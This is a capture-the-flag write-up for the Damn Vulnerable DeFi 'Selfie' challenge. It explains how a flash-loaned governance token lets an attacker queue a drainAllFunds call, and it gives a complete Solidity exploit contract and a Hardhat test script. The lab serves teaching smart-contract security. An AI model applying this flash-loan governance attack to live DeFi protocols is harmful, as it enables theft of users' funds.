Damn Vulnerable DeFi - Selfie
Analysis
SelfiePool
is a simple flash loan pool that allows onlyGovernance
user to drain the pool
The flashLoan
routine must be invoked from contract that implements a routine with the signature: receiveTokens(address, uint256)
The drainAllFunds
will drain the funds into a target denoted receiver
account.
SimpleGovernance
implements a governanceToken
used to determine if a user has enough votes to queue an action.
-
Q. How does a user acquire
governanceToken
?A. By lending from the pool
actions
is a mapping of ids to GovernanceAction
A GovernanceAction
is an arbitrary routine invoked with some weiAmount
An external invoker can interact with the routines executeAction
, and queueAction
.
The routine queueAction
attempts to prevent an invoker from queing an action against the GovernanceAction
.
The routine executeAction
routine invokes the arbitrary routine on the target contract denoted receiver
in the specified action.
Problem
There exists a sequence of operations that lead to the drainAllFunds
to be invoked with the attacker’s EOA address. This is because SimpleGovernance
’s queueAction
does not protect against queuing actions against the pool. drainAllFunds
is implemented by the pool.
The same token used to manage governance can be flashloaned.
Exploit
- ExploitSelfie.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../selfie/SimpleGovernance.sol";
import "../selfie/SelfiePool.sol";
import "../DamnValuableTokenSnapshot.sol";
import "@openzeppelin/contracts/utils/Address.sol";
contract ExploitSelfie {
using Address for address payable;
SelfiePool immutable private pool;
SimpleGovernance immutable private governance;
DamnValuableTokenSnapshot private governanceToken;
address immutable private owner;
constructor (address poolAddr,
address govAddr) {
pool = SelfiePool(poolAddr);
governance = SimpleGovernance(govAddr);
owner = msg.sender;
}
function exploit(uint256 borrowAmount) external payable {
// invoke flashloan
// which should trigger receiveTokens
pool.flashLoan(borrowAmount);
}
function receiveTokens(address target, uint256 amount) external payable {
require(msg.sender == address(pool));
governanceToken = DamnValuableTokenSnapshot(target);
governanceToken.snapshot();
// Queue an action
// Set up action.data
// prepare a call for the drainAllFunds function
bytes memory data = abi.encodeWithSignature(
"drainAllFunds(address)",
// receiver is attacker/owner
owner);
// invoke queueAction
governance.queueAction(
address(pool),
data,
0
);
// payback the loan
governanceToken.transfer(address(pool), amount);
}
}
- selfie.challenge.js
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
const ExploitSelfieFactory = await ethers.getContractFactory("ExploitSelfie", attacker);
const ExploitSelfie = await ExploitSelfieFactory.deploy(this.pool.address, this.governance.address);
await ExploitSelfie.connect(attacker).exploit(TOKENS_IN_POOL);
// advance the time by 2 days
await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]); // 2 day
await this.governance.executeAction(1);
});
Explanation
-
GovernanceAction
can be used to trigger an arbitrary contract call. We need to triggerdrainAllFunds
. This function is owned bySelfiePool
which will be specified as the queue action receiver. -
To queue an action, an invoker needs to own more than half of the tokens available. This can be satisfied by borrowing from the pool.
-
The queued action is timed and can be executed after two days. Hence, the loan can be returned in time and the exploit triggered in future.